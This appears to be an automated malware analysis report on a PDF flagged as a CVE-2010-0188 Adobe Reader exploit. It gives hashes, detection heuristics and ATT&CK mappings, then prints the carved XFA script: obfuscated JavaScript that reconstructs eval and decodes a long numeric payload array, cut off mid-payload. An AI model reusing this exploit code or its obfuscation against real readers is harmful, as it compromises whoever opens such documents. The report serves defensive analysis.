Malicious PDF — malware analysis report

Static analysis result for SHA-256 1857e784872fb8ce…

MALICIOUS

PDF

13.1 KB
MD5: 5261aa2365cae5b1794a70657fd1d816 SHA-1: c66c1729e4932ad64ce301183843181c16a88ef4 SHA-256: 1857e784872fb8ceba559c4690f13439d7e5dcc56d8e223985772629b87b14f3
352 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains XFA (XML Forms Architecture) content which is known to be a vector for exploiting vulnerabilities in Adobe Reader. Specifically, the 'CVE_2010_0188' heuristic indicates exploitation of a heap spray vulnerability in LibTIFF used by Adobe Reader. The embedded JavaScript, although obfuscated, is triggered by an XFA event and is designed to execute the exploit. The ML classifier and ClamAV detection strongly support the malicious nature of this file.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA form contains risky executable script high CVE related PDF_XFA_SCRIPT
    PDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
  • ClamAV: Pdf.Exploit.Agent-36755 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36755
  • XFA JavaScript heap-spray exploit code critical PDF_XFA_HEAP_SPRAY
    PDF contains XFA script content with heap-spray or shellcode-like JavaScript markers such as large encoded word sequences, util.pack, large arrays, or spray variable names. This is a weaponised Adobe Reader exploit pattern, not a normal interactive form.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream low PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_000003e2.bin
bc848a01e460fd1c60fcefec1879253c9d791997912b26dbbae75ddf51111534
pdf-embedded-script PDF raw stream script payload at offset 0x3E2 12360 bytes
Preview script
First 1,000 lines of the extracted script
<xdp:xdp xmlns:xdp='http://ns.adobe.com/xdp/'>
<asd/>as<config><asd/>
<present>
<pdf
>
<int>0</int>
<interactive>&#000049;</interactive>
a
<asd/>a<version>
1.5</version>
a<asd/>
</pdf>
</present>
<asd/></config><asd/>
<template xmlns='http://www.xfa.org/schema/xfa-template/2.5'>
<asd/>
a<subform name="a1">		<pageSet>
			<pageArea id="roteYom" name="roteYom">
				<contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
				<medium long="792pt" short="612pt" stock="default"/>
			</pageArea>
		</pageSet>
<asd/>a
		<subform name='v236536b346b'>
		a<asd/>a<field name='qwe123b'>a<asd/>a<event asd='wqr' activity='initialize'>
a<asd></asd><script
contentType='application/x-javascript'>

m=1-1;
cc="/Dpj6UWEq\"I72L4u=w:Km0nr319]}xi^'B;k8[e?lSChga-*({t.vY5%dM,_)bsf y&lt;FoQRAcV+";
x='efv5';
q=x[0]+'val';
a=(Number+Number).substr(2,3);
aa=([].sort+[].sort).substr(2,3);
if (a===aa){
t='214124';
e=t['indexOf'];
&#000119;=e(12)[q];
s=new Array();
ss='split';
ar='52@45@23@64@2@45@56@56@30@22@44@34@52@45@23@64@61@61@61@58@64@72@72@72@58@64@56@56@56@58@64@38@38@38@58@64@63@63@63@58@64@44@44@44@58@64@43@43@43@34@52@45@23@64@2@68@30@22@50@38@23@62@59@45@58@64@30@34@52@45@23@64@29@64@16@64@22@38@17@64@71@23@23@45@65@48@60@34@52@45@23@64@65@64@16@64@22@38@17@64@71@23@23@45@65@48@60@34@52@45@23@64@59@40@25@16@9@14@72@12@21@4@21@21@63@21@54@25@11@36@21@14@45@24@72@12@21@4@21@21@63@21@63@4@24@36@21@14@45@45@24@38@61@36@21@14@45@24@21@12@21@36@12@14@45@4@38@12@63@36@21@14@45@14@25@14@25@14@25@14@25@12@4@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@25@12@24@26@36@21@14@45@4@14@12@21@4@21@21@63@21@21@21@14@21@21@21@21@14@25@14@25@14@25@14@25@14@25@14@25@14@25@14@25@4@4@36@24@38@14@63@72@63@72@36@54@38@14@11@54@24@14@38@26@54@63@24@24@72@21@4@14@36@61@14@21@24@21@36@61@14@21@21@72@36@61@11@21@25@72@54@4@36@61@11@4@21@36@24@24@56@61@4@4@36@61@54@38@24@72@21@24@11@14@24@24@12@72@36@25@38@38@25@54@25@21@63@63@63@63@61@36@36@61@14@21@24@21@72@24@14@4@24@26@21@4@11@54@63@61@36@11@24@14@12@14@36@54@38@14@11@54@54@25@38@26@38@61@14@72@54@25@54@4@36@61@11@54@24@72@36@61@11@14@24@54@11@36@21@24@63@54@54@4@36@61@11@4@12@21@21@24@63@54@24@24@72@26@14@26@14@25@63@72@45@56@21@24@72@54@24@24@56@61@21@63@61@38@25@21@24@36@63@12@11@14@21@36@72@25@72@61@21@56@21@24@56@45@14@21@38@61@63@25@24@61@25@63@11@54@38@4@54@38@36@61@54@38@12@14@21@24@56@56@4@4@36@61@21@72@14@61@36@56@14@4@38@72@63@63@54@14@12@14@21@72@36@61@56@36@21@24@56@56@36@61@21@14@36@61@21@24@72@54@45@61@54@38@54@26@72@24@38@61@54@24@45@56@36@61@4@36@12@21@36@21@11@56@21@72@24@24@11@14@21@24@26@4@38@61@63@24@36@61@4@36@21@36@36@61@63@11@4@45@21@54@54@26@38@36@26@36@63@63@63@63@63@63@38@12@63@26@38@36@21@21@21@21@21@21@21@21@54@36@54@21@4@45@14@21@4@36@63@63@21@21@21@21@21@21@54@21@36@24@72@21@25@26@54@21@54@54@36@61@38@72@36@61@54@38@25@21@36@24@72@24@21@54@63@63@38@24@4@36@4@63@4@38@21@21@21@21@4@36@11@54@11@12@4@72@4@56@54@14@63@63@25@4@36@24@72@14@21@36@36@61@38@36@38@36@4@25@63@63@63@63@63@63@38@61@21@12@38@61@11@12@36@25@38@72@21@14@21@25@21@21@21@21@36@56@54@72@12@14@21@72@72@11@21@14@12@14@11@12@4@54@4@11@11@24@72@11@14@14@12@14@21@14@11@4@11@12@24@24@24@12@72@11@14@14@12@14@21@36@12@21@12@56@11@24@12@21@54@24@4@36@63@36@21@21@21@21@21@21@63@63@54@4@21@72@36@61@38@36@24@24@72@26@54@25@72@11@14@14@25@56@21@21@11@11@11@21@4@12@11@14@72@11@14@14@25@56@21@54@12@38@4@14@4@72@4@72@72@4@14@14@25@56@21@26@21@21@54@26@36@45@72@25@21@14@24@21@36@36@14@14@25@56@21@14@14@25@54@25@4@45@21@21@4@45@21@21@54@24@54@11@4@45@21@21@63@63@54@4@25@14@36@54@72@21@11@54@25@4@4@45@21@21@54@24@63@63@54@4@21@14@4@45@21@21@36@24@38@61@21@72@54@24@63@63@54@4@21@14@36@24@72@24@21@72@38@61@21@12@38@61@25@24@14@11@36@21@24@63@21@21@11@54@63@45@14@11@36@21@24@63@21@21@11@54@72@14@4@45@21@21@4@45@63@38@63@63@54@4@21@36@38@36@26@72@63@38@63@63@63@63@36@38@14@38@21@38@38@72@26@36@63@38@36@45@21@38@36@26@4@63@21@25@61@56@24@24@72@45@36@45@54@61@25@61@72@4@14@4@11@26@24@4@25@45@12@63@11@21@4@36@11@14@11@14@11@21@24@45@12@63@12@63@4@25@4@14@11@4@12@56
... (truncated)